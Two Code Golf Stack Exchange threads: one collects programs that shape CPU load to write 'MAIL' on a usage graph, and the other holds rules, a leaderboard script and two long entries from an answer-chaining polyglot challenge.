[Question] [ I have come across an article where students used network traffic to draw their university on the country's [IPv6](http://en.wikipedia.org/wiki/IPv6) graph. [[image]](http://kep.cdn.index.hu/1/0/409/4091/40917/4091708_d30ae918f92c2d7794e9620cb2cf1321_wm.png) **Your goal** is simple to tell, but hard to implement. *Draw* the text MAIL (as it is one of the few words that can be read on a 1D graph) on the CPU graph. It should look something like this: ![Result](https://i.stack.imgur.com/DFZPz.gif) # Elaborating a bit more on what qualifies: * The code does not need to be cross-platform (so you won't need unknown APIs to deal with). * You may capture it in any general CPU usage utility that you have. * The graph looks a bit worse on a different machine: I trust you this time. * The base CPU usage % must be continuous, so if you generate a random wave and highlight something that looks like the word MAIL, it's obviously cheating. * You may choose the maximum load to use, but it has to be substantial enough to clearly see it. * You must follow the linearity of the example. (For M it looks like this: base %, then sudden increase to the specified max, fall gradually to a lower %, rise back to max and sudden drop to the base % again.) * If it's unreadable, voters will notice after all. Standard loopholes apply. Post the images too! [Answer] # Python, ~~358~~ ~~281~~ ~~268~~ ~~221~~ 194 bytes Monochrome is *so* last year. This uses multiple processes and syscalls to achieve **two color** CPU graphs! ``` import os,time A='%-99o'%int('t12q2lxqkap48euoej9429cstbnazl63ubyryteo49u',36) for i in'0123456': t=os.fork() while t<1:T=int(time.time())%50;(time.sleep,(id,os.urandom)[i<A[T+49]])[i<A[T]](1) ``` Output from Activity Monitor (OS X 10.9): > > ![Activity Monitor CPU Load graph](https://i.stack.imgur.com/QLl3f.png) > ![Activity Monitor CPU History graph](https://i.stack.imgur.com/T0O6E.png) > > > ![Repeats on the CPU History graph](https://i.stack.imgur.com/uorWS.png) > > > Output from MenuMeters: > > ![MenuMeters output](https://i.stack.imgur.com/xCGVF.png) > > > All outputs were generated with an update speed of 1s. No significant background tasks were running, though this output quite easily beats out any single-threaded CPU task. This code assumes you have 8 cores. It should be pretty easy to modify for fewer/more. It is *portable* to Linux/UNIX systems (though it has only been tested on OS X), and should produce the same two-color output for any CPU monitor that can distinguish User from System CPU time. Essentially, this works by forking off seven processes, each of which will choose to spend 1 second sleeping, spinning in usermode, or spinning the kernel. Spinning in kernel mode is achieved by requesting large globs of data from `/dev/urandom`, which forces the driver backing `/dev/urandom` to spend a lot of "system" CPU cycles. EDITED [07/21]: Shortened significantly by using `fork()` instead of `multiprocessing.Process` (`/dev/urandom` only works on \*NIX systems anyway so this doesn't reduce portability). Note however that the program now spawns *background* tasks; you may have to `killall Python` (or similar) to get rid of the CPU-eaters. --- I couldn't resist implementing a few more letters. I got 16 letters, plus a few symbols: ![~/._PIN](https://i.stack.imgur.com/Io1Bv.png) ![ANCHO...](https://i.stack.imgur.com/Otbxv.png) ![...VY](https://i.stack.imgur.com/iBTBP.png) The complete alphabet is "ACDFHILMNOPTUVWY", with symbols ".\_~/\". There are probably lots more characters that can be represented. Entirely ungolfed code for the extra letters: ``` from time import* from multiprocessing import* chars6 = { 'A': ('123456654321', '000123321000'), 'C': ('344556666666', '321110000000'), 'D': ('666666655443', '000000011123'), 'F': ('66666666666666', '00002222244444'), 'H': ('666664444466666', '000002222200000'), 'I': ('66666', '00000'), 'L': ('666662222222', '000000000000'), 'M': ('6665544334455666', '0004321001234000'), 'N': ('66665544336666', '00003322110000'), 'O': ('3445556666555443', '3221110000111223'), 'P': ('666666666555', '000003333444'), 'T': ('777776666677777', '444440000044444'), 'U': ('6666322236666', '4211000001124'), 'V': ('66654322345666', '33321000012333'), 'W': ('66542466424566', '43210133101234'), 'Y': ('66665433456666', '44333000033344'), '_': ('1111111111', '0000000000'), ' ': ('000', '000'), '.': ('12221', '10001'), '~': ('44445544334444', '11223322112233'), '/': ('2234566', '0012344'), '\\': ('6654322', '4432100'), } s = 'ANCHOVY ' A = '000'.join(chars6[t][0] for t in s) B = '000'.join(chars6[t][1] for t in s) t=time() f=open('/dev/urandom') def F(n): while 1:T=int(time()-t)%len(A);[sleep,[].count,lambda x:f.read(4**9)][(n<int(A[T]))+(n<int(B[T]))](1) for i in range(7):Process(target=F,args=(i,)).start() F(7) ``` [Answer] # C (Intel Core Duo + OS X/Darwin), 248 bytes ``` #include <unistd.h> #include <mach/mach_time.h> #define M mach_absolute_time() main(){char*s="JJJIHGFGHIJJJ@BDFHJJJHFDB@JJJJ@JJJJBBBBBBB";uint64_t i,t,y=1;for(;*s;s++){ for(i=40;i;i--){for(t=M+(*s&15)*9090909;t>M;)y*=7;usleep((11-(*s&15))*9091);}}} ``` This code is about as portable as the Great Pyramid of Cheops. Sorry about that. The values returned from `mach_absolute_time()` are hardware-dependent, but on my machine the value increments about once per nanosecond. Here's the result: ![The word "MAIL" shown in my CPU history graph](https://i.stack.imgur.com/DmgRk.png) There are two graphs because the processor has two cores. I set the maximum CPU load to about 90% because the process is liable to switch between cores whenever I call `usleep()`. With a 100% load, the process is chained to one core and the results are illegible ([see this, for example](https://i.stack.imgur.com/np8oR.png)) [Answer] ## Python, 143 ``` from time import* while 1: sleep((ord('00012345654321000~~~D:6300036:D~~~000~~~000DDDD~~~~~'[int(time())%52])-48)*0.001);x=10**5 while x:x-=1 ``` Each character of the string corresponds to one second of activity, from the ASCII character `0` (max load) through to `~` (very light load). The program runs on a time-synchronised loop, so you can run multiple instances for nicer results. I used Python 2.7.6 on OS X with an Intel Core i7, but it should work on other computers with a bit of tweaking (adjust the `0.001`). The screenshot below was taken with significant background activity. ![MAIL](https://i.stack.imgur.com/TDDug.png) **Update -** I was able to produce a clearer graph with `time()/10` and a lower update frequency: ![MAIL](https://i.stack.imgur.com/RgNBp.png) And finally, here's a more golfed version (**123 bytes**) and [its result](https://i.stack.imgur.com/5rlkc.png): ``` from time import* while 1: sleep((ord('002464200~~A5005A~~00~~00DDD~~'[int(time()/2)%30])-48)*0.001);x=10**5 while x:x-=1 ``` [Answer] ## Ruby, 150 characters ``` a=(0..15).map{|i|[0.9-3*i*=0.02,i]} [9,*a[0,11],*(z=a.reverse)[5,11],11,*z,*a,2,11,6,*[0.2]*9].map{|x,y|c=Time.now 1until Time.now-c>x/3 sleep y||x%3} ``` This isn't all that short so far, but in my opinion the output's rather nice, so I figured I'd post this anyway. As with most other solutions, you may have to pin the Ruby process to a certain core by prefixing it with `taskset -c $core`. The code is a simple combination of spinning/sleeping for a certain amount of time, which *should* make it somewhat portable. Smooth gradients are created by varying the ratio of spin/sleep time. ![MAIL written CPU monitor](https://i.stack.imgur.com/ONyA2.png) Lowering the CPU sampling frequency makes the edges look a bit better: ![Lower sampling frequency](https://i.stack.imgur.com/P2JVQ.png) By adding a few more letters to the alphabet (`AILMNUVW` are somewhat recognizable), we can also write some other words: ![MUM, MAW, VILLAIN](https://i.stack.imgur.com/i3bFw.png) These pictures were generated with the following code: ``` def gradient num_samples, direction, base = 0.3, increment = 0.02, scale = 1 range = [*0..num_samples] samples = case direction when :up then range.reverse when :down then range when :updown then range.reverse + range when :downup then range + range.reverse end samples.map{|i| i *= increment [base - scale * i, i] } end # letters are defined as a series of pairs of (spin-time, sleep-time) # with the time in seconds THIN_A = gradient(15, :updown, 0.2, 0.2/15) A = gradient(15, :updown) I = 2,0 L = 1.5,0, [[0.1,0.2]]*9 M = 2,0, gradient(9, :downup), 2,0 N = 1,0, gradient(9, :down), 2,0 U = 1,0, gradient(9, :downup, 0.1, 0.03, 0.1), 1,0 V = 0.5,0, gradient(12, :downup, 0.25, 0.02), 0.5,0 W = 0.5,0, [gradient(12, :downup, 0.25, 0.02)]*2, 0.5,0 [A,I,L,M,N,U,V,W].map{|i| # add 2 second pause after each letter i + [0,2] }.flatten.each_slice(2){|x,y| # spin, then sleep c = Time.now 1 until Time.now-c > x sleep y } ``` Words that can be written with the implemented letters can be found with ``` grep -E '^[aijlmnuvw]+$' /usr/share/dict/words ``` [Answer] ## Python, on Intel Pentium 4 3.0Ghz, 180 166 145 141 138 bytes Call with `taskset -c 0 python cpu_graph_drawer.py`. `taskset` is needed to restrict the process to use only one CPU/core (hyperthreading in my case.) ``` from time import*;c=clock a=[(3,.8),(3,5),(4,5),(1.3,5),(1.3,0)] a.extend([(.1,.2)]*10) for x,y in a: t=c() while c()-t<x:pass sleep(y) ``` Result isn't that great. ![This one with taskset -c 1](https://i.stack.imgur.com/BkYwP.png) [Answer] # Java 8, 482 characters Every character in the String means number of threads, that will be utilized. Image taken on Intel Core i3 (2 cores / 4 threads). ![result](https://raw.githubusercontent.com/todvora/todvora.github.io/master/images/409.png) ``` import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class Mail{ public static void main(String[] args) throws InterruptedException{ Thread.sleep(15000); for(char c:"123432234321000012343210000444000044441111111".toCharArray()){ ExecutorService executorService = Executors.newScheduledThreadPool(4); for(int i=1;i<c-48;i++)executorService.execute(()->{while(!Thread.interrupted());}); Thread.sleep(1500); executorService.shutdownNow(); }}} ``` **Edit**: more golfed version (322 chars), same functionality: ``` import java.util.concurrent.*; class M{ public static void main(String[]a)throws Exception{ for(int c:"123432234321000012343210000444000044441111111".toCharArray()){ ExecutorService s=Executors.newFixedThreadPool(4); while(c>48){c--;s.execute(()->{while(!Thread.interrupted());});} Thread.sleep(1500); s.shutdownNow(); }}} ``` [Answer] # C, 78 bytes You never said we couldn't accept user input, sooo.. ``` #include <unistd.h> int main(){int x=0;for(;x<1<<26;++x);read(0,&x,1);main();} ``` This program reads from standard in and every time it reads a character it executes a gratuitous CPU wasting for loop, then calls main again. You control the amount of CPU time it uses by spamming the enter key at different speeds. I ran this on an intel i3 4130T, which is a reasonably new processor. But your mileage may vary, if it's using more or less CPU time than is practical for you to observe, try playing with the shift amount in the delay loop. My program is awesome because it: * is mostly cross platform, it should work with very little fiddling on any \*nix * defeats the question * great endgame play After a few tries I produced a graph that looked like this:![CPU graph](https://i.stack.imgur.com/iYHR3.png) ]
[Question] [ This is an [answer-chaining](/questions/tagged/answer-chaining "show questions tagged 'answer-chaining'") challenge in which each answer builds on the previous answer. I recommend sorting the thread by "oldest" in order to be sure about the order in which the posts are made. > > **Note**: This has become quite a long-lasting challenge, and posting new answers is fairly difficult. As such, there's now a [chat room](http://chat.stackexchange.com/rooms/55553/polyglot-development) available for this challenge, in case you want advice on a particular part of a potential answer, have ideas for languages that could be added, or the like. Feel free to drop in if you have anything to ask or say! > > > # The task The *n*th program to be submitted must run in *n* different languages; specifically, all the languages added in previous programs to be submitted, plus one more. The program must output 1 when run in the first language used in answers to this question, 2 when run in the second language, and so on. For example, the first answer could print 1 when run in Python 3, and the second answer could output 1 when run in Python 3 and 2 when run in JavaScript; in this case, the third answer would have to output 1 when run in Python 3, 2 when run in JavaScript, and 3 when run in some other language. # Additional rules * Your program must run without erroring out or crashing. Warnings (and other stderr output) are acceptable, but the program must exit normally (e.g. by running off the end of the program, or via a command such as `exit` that performs normal program termination). * The output must be only the integer, but trailing newlines are OK. Other unavoidable stdout output is also allowed. Examples: [interpreter name and version](https://tio.run/##S0oszvj/PzmxRMFOoUIvKY1LP7@gRD8pNa00Lz1VPykzD8QGy/z/r6SYklOUH66gk5@Tk@qhZGelrBPvAAA) in Befunge-93, [space after printed string](https://tio.run/##q0otyKgs@v@/oCgzr0TB0Nz0/38A) in Zephyr. Some languages provide two methods of printing – with and without trailing space; in this case method without trailing space must be used. * Each answer must be no more than 20% or 20 bytes (whichever is larger) longer than the previous answer. (This is to prevent the use of languages like Lenguage spamming up the thread, and to encourage at least a minor amount of golfing.) * Using different versions of the same language is allowed (although obviously they'll have to print different numbers, so you'll need to fit a version check into the polyglot). However, you may not use a language feature that returns the language's version number. Repeating the exact same language is, obviously, impossible (as the program would have to deterministically print one of two different numbers). * Tricks like excessive comment abuse, despite being banned in some polyglot competitions, are just fine here. * You don't have to use the previous answers as a guide to writing your own (you can rewrite the whole program if you like, as long as it complies with the spec); however, basing your answer mostly on a previous answer is allowed and probably the easiest way to make a solution. * You cannot submit two answers in a row. Let someone else post in between. This rule applies until victory condition is met. * As this challenge requires other competitors to post in the same languages you are, you can only use languages with a [free implementation](http://meta.codegolf.stackexchange.com/q/7822/62131) (much as though this were a [cops-and-robbers](/questions/tagged/cops-and-robbers "show questions tagged 'cops-and-robbers'") contest). * In the case where a language has more than one interpreter, you can pick any interpreter for any given language so long as all programs which are meant to run successfully in that language do so in that interpreter. (In other words, if a program works in more than one interpreter, future posts can pick either of those interpreters, rather than a post "locking in" a particular choice of interpreter for a language.) * If some interpreter gets updated and the program no longer works in the newer version then new answers can either stick to the old version or fix the program to work in the new version. * This challenge now uses the [new PPCG rules about language choice](https://codegolf.meta.stackexchange.com/questions/12877/lets-allow-newer-languages-versions-for-older-challenges?cb=1): you can use a language, or a language interpreter, even if it's newer than the question. However, you may not use a language/interpreter that's newer than the question if a) the language was designed for the purpose of polyglotting or b) the language was inspired by this question. (So newly designed practical programming languages are almost certainly going to be OK, as are unrelated esolangs, but things like [A Pear Tree](https://esolangs.org/wiki/A_Pear_Tree), which was inspired by this question, are banned.) Note that this doesn't change the validity of languages designed for polyglotting that are older than this question. * Note that the victory condition (see below) is designed so that breaking the chain (i.e. making it impossible for anyone else to answer after you via the use of a language that is hard to polyglot with further languages) will disqualify you from winning. The aim is to keep going as long as we can, and if you want to win, you'll have to respect that. # Answer format As all the answers depend on each other, having a consistent answer format is going to be helpful. I recommend formatting your answer something like this (this is an example for the second link in the chain): > > # 2. JavaScript, 40 bytes > > > > ``` > (program goes here) > > ``` > > This program prints **1** in Python 3, and **2** in JavaScript. > > > (if you want to explain the program, the polyglotting techniques, etc., place them here) > > > # Victory condition Once there have been no new answers for 14 days, the winner will be whoever posted the *second* newest answer, i.e. the largest polyglot that's been proven not to have broken the chain. Extending the chain after that is still very welcome, though! The winner is [Chance](https://codegolf.stackexchange.com/users/63156), see [answer 194 (TemplAt)](https://codegolf.stackexchange.com/a/163497). # Language list ``` // This snippet is based on the snippet from hello world thread https://codegolf.stackexchange.com/questions/55422/hello-world // It was tested only in Google Chrome // https://stackoverflow.com/a/4673436 if (!String.prototype.format) { String.prototype.format = function() { var args = arguments; return this.replace(/{(\d+)}/g, (match, number) => (typeof args[number] != 'undefined' ? args[number] : match) ); }; } var QUESTION_ID = 102370; // from the question url var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } var answers = [], answer_page = 1; function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); if (data.has_more) { $('#status').text($('#status').text() + '.'); getAnswers(); } else process(); }, // [Documentation](http://api.jquery.com/jquery.ajax/) states that `error` handler is not called for cross-domain JSONP requests, // but it works here, probably because api.stackexchange.com and codegolf.stackexchange.com are on the same domain. error: function (a,b,c) { $('#status').text( "Failed to load answers: " + b + " " + c ); console.log( b + " " + c ); }, }); } getAnswers(); // https://stackoverflow.com/questions/6290442/html-input-type-text-onchange-event-not-working/39834997#39834997 // https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event const input = document.querySelector('input'); input.addEventListener('input', onSearchInput); function onSearchInput(e) { var table = document.getElementsByTagName("table")[0]; var str = e.srcElement.value.toLowerCase(); var num_results = 0; if(str == "") // optimization for empty input { // show all rows for(var i = 1, row; row = table.rows[i]; i++) { row.className = ""; num_results++; } } else { for(var i = 1, row; row = table.rows[i]; i++) { var hidden = row.innerText.toLowerCase().indexOf(str) == -1; if(!hidden) num_results++; row.className = hidden ? "hidden" : ""; } } document.getElementById("results").innerText = "Results: " + num_results; } /* Function ParseHeader() extracts answer number, language name and size of polyglot from answer header. Argument: `header` - answer header string without markup, eg. "1. Python 3 (8 bytes)" or "59. Tcl, 1324 bytes". Retval: object, eg. {num: 1, language: "Python 3", size: 8} or null if header has wrong format There are two formats of header, new one with comma and old one with parens. Parsing new format only with regexp is hard because: - language name may contain commas, eg. "51. Assembly (x64, Linux, AS), 1086 bytes" - there may be several sizes, of which the last one should be used, eg. "210. Haskell without MonomorphismRestriction, 10035 9977 bytes" There are only several answers with old format header: 1-5, 7, 12-17, 21. All of them have single size and don't have parens in language name, so they can be parsed with simple regexp. Algorithm: Find commas. If there are no commas parse it as old format. Otherwise parse it as new format. New format parsing: Let everything after last comma be `sizes`. Check if `sizes` ends with the word "bytes". If not, set size to 0. Take the word before "bytes" and convert it to number. Parse the rest of the header (before last comma) with regexp. */ function ParseHeader(header) { var a = header.split(','); if(a.length > 1) // current format: Number "." Language "," Size+ "bytes" { // filter(s=>s) removes empty strings from array (handle multiple consecutive spaces) var sizes = a[a.length-1].split(" ").filter(s=>s); // " 123 100 bytes " -> ["123", "100", "bytes"] var size; if(sizes.length < 2 || sizes[sizes.length-1] != "bytes") size = 0; else size = +sizes[sizes.length-2]; a.splice(a.length-1,1); // remove last element var match = a.join(',').match(/(\d*)\.(.*)/); if (!match) return null; return{ num: +match[1], language: match[2].trim(), size: size, }; } else // old format: Number "." Language "(" Size "bytes" ")" { var format = /(\d*)\.([^(]*)\((\d*)\s*bytes\)/; var match = header.match(format); if (!match) return null; return{ num: +match[1], language: match[2].trim(), size: +match[3] }; } } // 1533246057 (number of seconds since UTC 00:00 1 Jan 1970) -> "Aug 2 '18" // other useful Date functions: toUTCString, getUTCDate, getUTCMonth, getUTCFullYear function FormatDate(n) { var date = new Date(n*1000); // takes milliseconds var md = date.toLocaleDateString("en-US", {timeZone:"UTC", day:"numeric", month:"short"}); var y = date.toLocaleDateString("en-US", {timeZone:"UTC", year:"2-digit"}); return md + " '" + y; } var processed = []; // processed answers, it's called `valid` in original snippet function ProcessAnswer(a) { var body = a.body, header; // // Extract header from answer body. // Try find <h1> header (markdown #). If not found try find <h2> (markdown ##). // Extracted header contains only text, all markup is stripped. // For 99 language markup is later readded to language name because markup is essential for it. // var el = document.createElement('html'); // dummy element used for finding header el.innerHTML = body; var headers = el.getElementsByTagName('h1'); if(headers.length != 0) header = headers[0].innerText; else { headers = el.getElementsByTagName('h2'); if(headers.length != 0) header = headers[0].innerText; else { console.log(body); return; } // error: <h1> and <h2> not found } var info = ParseHeader(header) if(!info) { console.log(body); return; } // error: unrecognised header format if(info.num == 99 && info.language == "99") info.language = "<i>99</i>"; processed.push({ num: info.num, language: info.language, size: info.size, answer_link: a.share_link, user: a.owner.display_name, user_link: a.owner.link, // `undefined` if user was deleted creation_date: a.creation_date, // unix epoch (number of seconds since UTC 00:00 1 Jan 1970) }); } function process() { $('#status').remove(); answers.forEach(ProcessAnswer); // answers -> processed processed.sort( (a,b)=>(a.num-b.num) ); // sort by answer number, ascending processed.forEach(function (a) { var date = FormatDate(a.creation_date); var user = a.user_link ? ('<a href="'+a.user_link+'">'+a.user+'</a>') : a.user; // redundant code, currently the only deleted user is ais523 if(user == "user62131") user = '<a href="https://chat.stackexchange.com/users/246227/ais523">ais523</a>'; var style = (a.num == 194) ? "background: #ccf" : ""; // 194 is winner answer var row = "<tr style='{0}'><td>{1}</td> <td><a href='{2}'>{3}</a></td> <td>{4}</td> <td>{5}</td> <td>{6}</td></tr>" .format(style, a.num, a.answer_link, a.language, a.size, user, date); $('#answers').append( row ); }); } ``` ``` a {text-decoration:none} a:visited {color:#00e} table, td, th { border: 1px solid black; } td, th { padding-left: 5px; padding-right: 5px; white-space: nowrap; } tr:hover { background-color: #ff9; } td:first-child { text-align:center; } /* # */ td:nth-child(4) { font-style:italic; } /* author */ td:nth-child(5) { text-align:right; } /* date */ p { margin: 8px 0px } .hidden { display: none } /* search hides rows */ ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <p> <span>Search: </span><input autofocus> &nbsp;<span id="results"></span> </p> <table class="answer-list"> <thead> <tr><th>#</th> <th>Language</th> <th>Size (bytes)</th> <th>Author</th> <th>Date</th></tr> </thead> <tbody id="answers"> </tbody> </table> <div id="status">Loading answers...</div> ``` [Answer] > > Note: If you see this first, you might want to [sort by oldest](https://codegolf.stackexchange.com/questions/102370/add-a-language-to-a-polyglot?answertab=createdasc) > > > ## 17. Julia (128 bytes) ``` #v`16 "<" 6/b0\ .q@#;n4"14"" #>3N9@15o|R"12"*^ #=| print((1/2and 9 or 13)-(0and+4)^1<<65>>62);# =#;print(17) #gg99ddi2` |1|1+6 ``` There are two ESCs on the last line, one before the first `g` and one after the `2`. This could be golfed more, but things got messy no thanks to V and Pyth. Prints 1 in Python 3, 2 in V, 3 in Minkolang, 4 in ><>, 5 in Python 2, 6 in SMBF, 7 in Japt, 8 in Retina, 9 in Perl, 10 in Befunge-93, 11 in Befunge-98, 12 in Fission, 13 in Ruby, 14 in Turtléd, 15 in Haystack, 16 in Pyth and [**17 in Julia**](https://tio.run/#8hWKF). --- Hints: * The start of the fourth line is Python 2/3, Perl, Ruby. The end is Julia, thanks to `#=` multiline comments (note that Julia doesn't have `and/or`). * V is `<ESC>gg99ddi2<ESC>`, which is definitely golfable but V is annoying to test on *Try it online!* since the interpreter is fairly slow. * Minkolang and Haystack go down at the first `v`. Befunge-93 and -98 don't, and depend on a `b`. * Retina counts the number of spaces and 1s in the fourth line, and V hides in the config for Retina (i.e. before the backtick). * Per @ETHproduction's hint, Japt uses backticks to hide the majority of the code in a string. * Fission is `R"12"*`. * SMBF has been golfed to `<.` in the first line, plus the final `6`. [Answer] # 50. bash, 1024 bytes ``` #16 "(}23!@)" 3//v\D(@;'[af2.qc]GkGGZ'#)"14";n4 #/*` "[!PPP(22)SP(>7 7*,;68*,@;'1,@ ␉␉␉␉ q #>␉ # >36!@␉ #`<` #<]+<[.>-]>[ #{ #z} # #=<xR+++++[D>+++++++L+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52PLEASE,2SUB#2<-#32DOREADOUT,2DOGIVEUPDOiiipsddsdoh@O6O4/]>+.-- -. >][ #Rx%>~~~+ +~*ttt*.x #D>xU/-<+++L #R+.----\).>]| #[#[/v/v(/0l0v01k1kx0l0ix0jor0h0h1d111x0eU0bx0b0o1d0b0e0e00m1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10vx0v0l111111^_) 0046(8+9+9+9+9+=!) ###| '\';echo 50;exit;';print((eval("1\x2f2")and(9)or(13))-(0and 4)^1<<(65)>>(62))or"'x"or'({({1})({1}[(0)])}{1}\{1})'#}#(prin 45)(bye)|/=1/24=x<$+@+-@@@@=>+<@@@=>+<?#d>+.--./ __DATA__=1#"'x"// #.\."12"__*' ###;console.log 39 """"#// =begin // #ssseemeePaeueewuuweeeeeeeeeeCisajjapppp/*/ #define z sizeof'c'-1?"38":"37" #include<stdio.h> main( )/*/ #()`#`\'*/{puts(z );}/*'`` <>{# }// #} disp 49#// #{ 1}<>// $'main'// #-3o4o#$$$ #< >"3"O. =end #// """#"#// #} #|o51~nJ;#:p'34'\ #ss8␛dggi2␛ `|1|6$//''25 =#print(17)#>27.say#]#print(47)#]#echo 21#ss*///nd^_^_Z222999"26 ``` Want to learn more? Try the [polygot chat](http://chat.stackexchange.com/rooms/55553/polyglot-development)! [Try them online!](https://tio.run/nexus/bash#zVpJc9tIlj43/kJd0iDLBEgCIKnFCwlasi3XqDZrLNkVYZKWQDBJwsJWWCRKMhVznYk59L0vc@z/0df5Ff1Har6XCS7aXFWHjhg6CCYyX749X7735N9K9GEHkX8x8aOMZTzN2CjxznhispcXbMfx0q3WhqIIqCQa5a4XTlg25cwL4zxjY8/nqeI6GeuyuMBi0oCVWMKdkQRTxlHCaAsLTn3mMTeO2dB3pqbLfE/AplFA6xlP4oTjmbKQ8xFLY@56Y88VdBifZTxMvShMTea5p@zc83024j42rIi7dSBjebo2JUmZyihSGD5ufIvV5VuZAybkC3F57CRC3IjFQvaF1OeJE8dgUimxQzCeeQFPmZdVUsad1CMdYkvKw5HQVLzUbsSccF1KduY5zAG/eSJwpzzJIJ4p8LIpTzhQOkR8kjgB084TL4MKSJG77IA7CTtKONdBBQbgqevE4OMGSRCLiEJGgpjCUJ1OZe/tmwoMJneYTpwppWTj6N@/Vxxm2qx83MbXVtW2svfza3ZV7tMYXAAZjBonmqMz@5qlVr/P8Z01h9YkmSvAqkArPrOiOLOA2UkysLcaGWctM/bXyLLOLUusOZGEGsEWbD9kH@pCLjdPEg4uVip1TiGyH4UTaBOiJnlI2gjZdgMGcKNwlNYZP4POolBaKDoX@j2aejBZSgZxhlCP45Lm5QEQ6sQRgOcV@lzQTSM/F3DYmWbkftAJthLG/TH7wMaO59MWrBMqyXXC09zPaE8ejsjugRfykckWbLjRiICC6AzkHCAVEzgzwdpJE0wBGGaIhKi09M@//m00mQDPrutGyahw1g9sFLl5AIYdwawDRyR3jULHF2wBrk7U5XYQOHN8b@RkRD68KEgIJgTV8yj3RywCweTcw8GaOmc4jOMxdzMuXTzKM/BYZ4FzKuODJ/0WggfOEIYVBARtIbbBdl7BSi6XDmMEeTZ@yox4j1VS65P24rn24lGfgzfd1Ktly5q04W1mVUzhrfI1x/mwu7Inec@RF9Ep8uNpjpiBlTCNEU0SUqbrQJyUgkqGmFdnQ6FoEYng6OKInvNKwtkQ53ohmPAR6QO036BzW2BY2XQBd9PF@GjNw@CdcLIsvRMk/OgchAVvFDjh0yERdyYOSGWFQLtSIElRzNwU7TSEpxO2IWdPjaEH65AfINQUxliTEeAbLQkDbNJ6a4cicC6AxZUhemVJ5o1h5AB@m1wwl9NhwKngMs4RkVw4RurBj6Ixaxitra3fMX6WWLvGR8sxLq2v2piEv2XmXTbm58x3wknuTODIUYgtjuvyOCtOECRJM5yR22FQTBpFTDfTqVLeuU1bxLYi2q/RoOgjrVdEaIfcHooKoGrDxylnTjIRJ5GNvATnxb@4TR0AZ7eIqycEcoOBE/UBFhYXE5yMz7ibZzhucOTzqedO4bvEXSgPrIyOt8ljap06Qo4xXpImZprdxy3FtJZTxMaDKAyy6F08iPqEqntjQhh/fUIKiJv3kG59hKrFNStOwTIVWMoOZXxPl0jCf82hXPieNwkJxAmXV/RaFPPSsIKw7qUeNESXLfnl0f5bit2/cJlvQEfy3lkPvBGyD2wvLlNaWChM4e40YkbIKgUPmiruvs9gy0oTVwyMtQtf1U1oSyOtiaUFos8yh7p9@bHuXThBslJnPVUd1HHf@CnMHea@j5c8FMdB4/oV/MLlaWrCuXEGTcocwJ1a4/r8JmA2TaJzxud6u3IfuT9pkFf50Jv9P7SIS3zJJ6RaM4OY@iN2uAP4LzbEHXowxX6IWwbx91JcByGFtzzIfSeTGYEb5dDz0hy4Ghy7IS14BB39iCyJ/ejR5TVGTrXKtUV6PqOssq@o8UU2jcKNm@FHXa20ZHr3wQpwG5nxxf0Xr7qOSmz4yQtPI@LNChaj44bZ3LqBAuXB3Z1jL52Kxw3QO2zdXRG702A4Fo97AEJyxVseLxaCKIwkcWjICx3rnfgxEWLv4@BmJLtB/iWHjSfceLZhDb3QGvLxQ5BvXr7cFzDj4dB7CAhqoAJo8XsPWJIP79MSEpjpnZuO3dDzUZ5kvjGyMvrl//sfI@j7rjWmzkWKlPd0OTgO@TlZxhg/aJxiK72Ix/2G/Jz7KId@B4frUJrr@MvB/bies3cc3o6EJBRVEDj1fRxkqAwB5q474yT4@Ygvfu9HKnR488KUu0MvMODL22ZDGBCvlARQKvYQllu3vkRD1UHiR87IkvWax1cWlbrnM2cShRfW2pViJsM/wOriYmarAi2b5lkun1SV/Z7tvJi@XzuCBWRja/dlc6/4eQAeTGw/5Lvy2CSILsYb3zm1hjQ8HmN4v6hSmMSboARc/D4E9sth7LjcOk/p5163@QnplI/C@vDn94cHX/UfgRB5VuLL573o9kMXl1qY/T4mSOmLx59xPOEHruPD@zak71FfxFhTk3dLsb4zvKBCfvrnfYioTmo1ZkSramXVdonjhze57v2bZGNG7HMj1JP8924dXB1eAHFbo7Xhgz7hRcaqJkqlI42pCLwn9jhnDjNc30nhGlmhXX4Ga4jH11yVbgiXfGY1@pqj3mJqUZc@VNqsdsaeG@H2joWZ6cXHy0OX2u3sYYWGGm7isdpKb4W/vubOiK7a6686bORmVFE84DJ3pkUG8k50ZpalUlovGkqY85KigZAue3Sl1SoLnUAUkDReJDdtWaWmU9GaQDU5Qqx9H3oiuXSjRNZasqAX99o//j4qOjYTjpI78FLkUZOQeowoqKbR@QtJt6C@G8cOdXwIB063L9NP49UuS8@9zJ3KRg3ytfdvjp4WVXbR78TLAQXZNS6k3Fgagwcn46IglNyMIi4VXRBe7loIBTvnQcjOvVE2RUp36KFwFlX8orIEJwmBoZyPyFB1ts9GnMKOyJ4/50j4/Cg6FUk7cfKPv8veAhaBDFxjvCAvml1rFBm8vCkKeldmlwsklzyJChCNlAxvzaGRC7gJl/M6c6eOaHokJjMWJT@RkWX/q91DZqDmp1YtdQDa3lgr77777kOvMbCvWWAhBbEofxZ6U781njRTtc4WIO05R8a9vtzA8mq1wtTyTC3Eorag6IItnUo6HNNoLMy1KOED0VEUfsfPRQkv@jQhHUZq1aFKSTO86gK1bO3ZZQ25S4CCxDjM2Bb1szlUgpHsQTLqEIOi2FKesS9sSr5iuKy51cCbVIhPHZDAXmWM60m69ZoPc3G1nbXM1oYtxCkf252uGCV8FFGPrPepfz6w0oVW@v3Zt43WDGqLEoA/tujk7P38@qpsdhtfvqTOBVPVeaUtahn1ucrKVwf7B3uHR7tH7w@hxrleKPCgaP6KRqZTNLbhy3m6OJmF/qgHLvoQoo9NmwXustwqse2T14kzsDjOoLBWy5jSGzXNqdV0fa0lvzdDWITTUmtUtDaVBWdR0bhbWBGHdCorVJStSz9Ml8UmiTCmU@TDEFRNiYwgJUswMrrJdv0UXj8awYzDi4zL4krWl8siUy2xsmMupagzVSHY1L7bwIGVz3ELuidyc1nACczpfT3QPrf@@de/yb5nP8P4P4vx